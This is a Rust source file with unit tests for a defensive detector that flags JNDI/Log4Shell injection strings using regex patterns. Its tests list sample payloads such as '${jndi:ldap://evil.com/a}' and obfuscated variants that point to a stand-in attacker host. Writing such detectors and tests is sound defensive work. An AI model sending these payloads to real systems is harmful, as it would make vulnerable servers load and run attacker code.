Skip to main content

security_rust/injection/
jndi_injection.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
8    vec![
9        Regex::new(r"(?i)\$\{jndi:").unwrap(),
10        Regex::new(r"(?i)\$\{lower:j\}").unwrap(),
11        Regex::new(r"(?i)\$\{upper:j\}").unwrap(),
12        Regex::new(r"(?i)\$\{::-j\}").unwrap(),
13        Regex::new(r"(?i)\$\{env:").unwrap(),
14        Regex::new(r"(?i)\$\{sys:").unwrap(),
15        Regex::new(r"(?i)\$\{java:").unwrap(),
16    ]
17});
18
19pub struct JndiInjectionDetector;
20
21impl Detector for JndiInjectionDetector {
22    fn name(&self) -> &'static str {
23        "jndi_injection"
24    }
25
26    fn detect(&self, input: &str) -> Option<DetectionResult> {
27        regex_detect(
28            &PATTERNS,
29            self.name(),
30            AttackCategory::Injection,
31            Severity::Critical,
32            "JNDI/Log4Shell injection detected",
33            input,
34        )
35    }
36}
37
38#[cfg(test)]
39mod tests {
40    use super::*;
41
42    fn det() -> JndiInjectionDetector {
43        JndiInjectionDetector
44    }
45
46    fn assert_hit(input: &str) {
47        crate::test_helpers::assert_detected(
48            &det(),
49            input,
50            AttackCategory::Injection,
51            Severity::Critical,
52        );
53    }
54
55    #[test]
56    fn name_is_jndi_injection() {
57        assert_eq!(det().name(), "jndi_injection");
58    }
59
60    #[test]
61    fn detects_common_payloads() {
62        for input in [
63            "${jndi:ldap://evil.com/a}",
64            "${lower:j}ndi:ldap://evil.com/a}",
65            "${upper:j}NDI:rmi://evil.com}",
66            "${::-j}ndi:dns://evil.com}",
67            "${env:JNDI_LOOKUP}",
68            "${sys:java.version}",
69            "${java:os.name}",
70        ] {
71            assert_hit(input);
72        }
73    }
74
75    #[test]
76    fn benign_inputs_not_detected() {
77        for input in [
78            "Hello, this is a normal text input. Nothing suspicious here.",
79            "The jndi lookup service is running",
80            "Please set the JAVA_HOME env variable",
81            "log4j is a logging library",
82        ] {
83            assert!(det().detect(input).is_none(), "false positive: {input}");
84        }
85    }
86
87    #[test]
88    fn edge_cases() {
89        assert!(det().detect("").is_none());
90        assert!(det().detect(" \t\n ").is_none());
91        assert!(det().detect("你好世界 こんにちは").is_none());
92        // near misses: missing ${ prefix or missing colon
93        assert!(det().detect("jndi:ldap://evil.com/a").is_none());
94        assert!(det().detect("${jndi").is_none());
95        assert!(det().detect("${jndildap://evil.com}").is_none());
96    }
97
98    #[test]
99    fn obfuscated_variants_detected() {
100        for input in [
101            "${JNDI:ldap://evil.com/a}",
102            "${LoWeR:j}ndi:ldap://evil.com}",
103            "${ENV:LOG4J_FORMAT_MSG_NO_LOOKUPS}",
104        ] {
105            assert_hit(input);
106        }
107    }
108}